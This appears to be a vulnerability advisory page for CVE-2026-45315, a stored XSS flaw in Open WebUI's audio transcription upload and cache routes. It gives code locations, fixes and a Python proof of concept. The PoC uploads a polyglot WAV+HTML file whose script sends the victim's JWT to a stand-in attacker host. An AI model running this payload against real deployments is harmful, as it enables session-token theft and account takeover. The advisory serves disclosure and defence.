Skip to main content

Open WebUI CVE-2026-45315

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-m8f9-9whg-f4xr
8.7
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:18 vuln.today
Analysis Generated
May 14, 2026 - 21:18 vuln.today
CVE Published
May 14, 2026 - 20:17 nvd
HIGH 8.7

DescriptionNVD

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL - the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 - ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No

allowlist, no cross-check against file.content_type.

  • backend/open_webui/main.py:2768-2779 - /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension

and sets no Content-Disposition.

  • backend/open_webui/utils/misc.py:889-921 - strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload

passes regardless of the actual body.

  • backend/open_webui/config.py:1482 - USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) - JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 - OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

python
  import struct, httpx

  data = b'\x80' * 44100
  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
          b'RIFF', 36 + len(data), b'WAVE',
          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,
          b'data', len(data)) + data
  payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'


  r = httpx.post(
      'https://VICTIM/api/v1/audio/transcriptions',
      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},
      files={'file': ('pwn.html', payload, 'audio/wav')},
  )
  fn = r.json()['filename']
# '<uuid>.html'
 #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user - including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

AnalysisAI

Stored cross-site scripting (XSS) in Open WebUI ≤0.9.2 allows authenticated users with default speech-to-text permissions to upload polyglot WAV+HTML files through the audio transcription endpoint, achieving code execution in victim browsers and enabling full account takeover including administrator sessions. The vulnerability chains insecure file extension handling with unrestricted Content-Type serving and non-HttpOnly JWT storage to weaponize a single-click attack. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Identify all Open WebUI deployments and document current versions in use; disable audio transcription features or restrict upload permissions to trusted administrators only. Within 7 days: Restrict access to Open WebUI to trusted networks via firewall/VPN and disable non-HttpOnly JWT storage if configuration allows. …

Sign in for detailed remediation steps.

Share

CVE-2026-45315 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy